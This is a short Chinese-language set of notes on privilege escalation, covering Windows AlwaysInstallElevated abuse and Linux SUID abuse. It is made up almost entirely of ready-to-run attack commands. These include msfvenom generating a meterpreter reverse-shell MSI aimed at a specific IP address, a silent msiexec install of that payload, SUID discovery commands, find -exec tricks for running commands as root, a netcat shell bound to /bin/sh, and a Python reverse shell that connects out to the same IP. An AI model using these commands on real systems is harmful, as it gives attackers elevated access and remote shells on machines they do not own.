Windows本地提权/SUID提权


Windows-AlwayslnstallElevated提权

AlwaysInstallElevated是注册表的一个键值(windows 2003)
当其值为1的时候,普通用户即可以system权限安装msi程序。
当前用户权限是否能够更改MSI安装时的启用状态,如不能修改则必须为启用方可使用本次提权技术。

gpedit.msc

用户配置>>管理模板>>Windows 组件>>Windows Installer>>始终以提升的权限进行安装 已启用

.msi是系统安装文件

启动状态才可以成功
判断是否存在window本地提权安全问题:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

生成利用的MSI文件:

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117  lport=5555 -f msi -o xiaodi.msi

执行MSI:

msiexec /quiet /qn /i xiaodi.msi

SUID提权

手工命令探针安全:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

存在 Nmap/Vim/find/Bash/More/Less/Nano/cp之一,就有可能存在SUID提权

touch xiaodi

//会创建一个xiaodi的目录,然后通过搜索xiaodi并携带命令达到system的权限执行命令

find xiaodi -exec whoami ;

利用NC反弹:

find xiaodi -exec netcat -lvp 5555 -e /bin/sh ;
netcat xx.xx.xx.xx 5555

利用Python反弹:

find xiaodi -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.94.236.117",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ;
nc -lvp 7777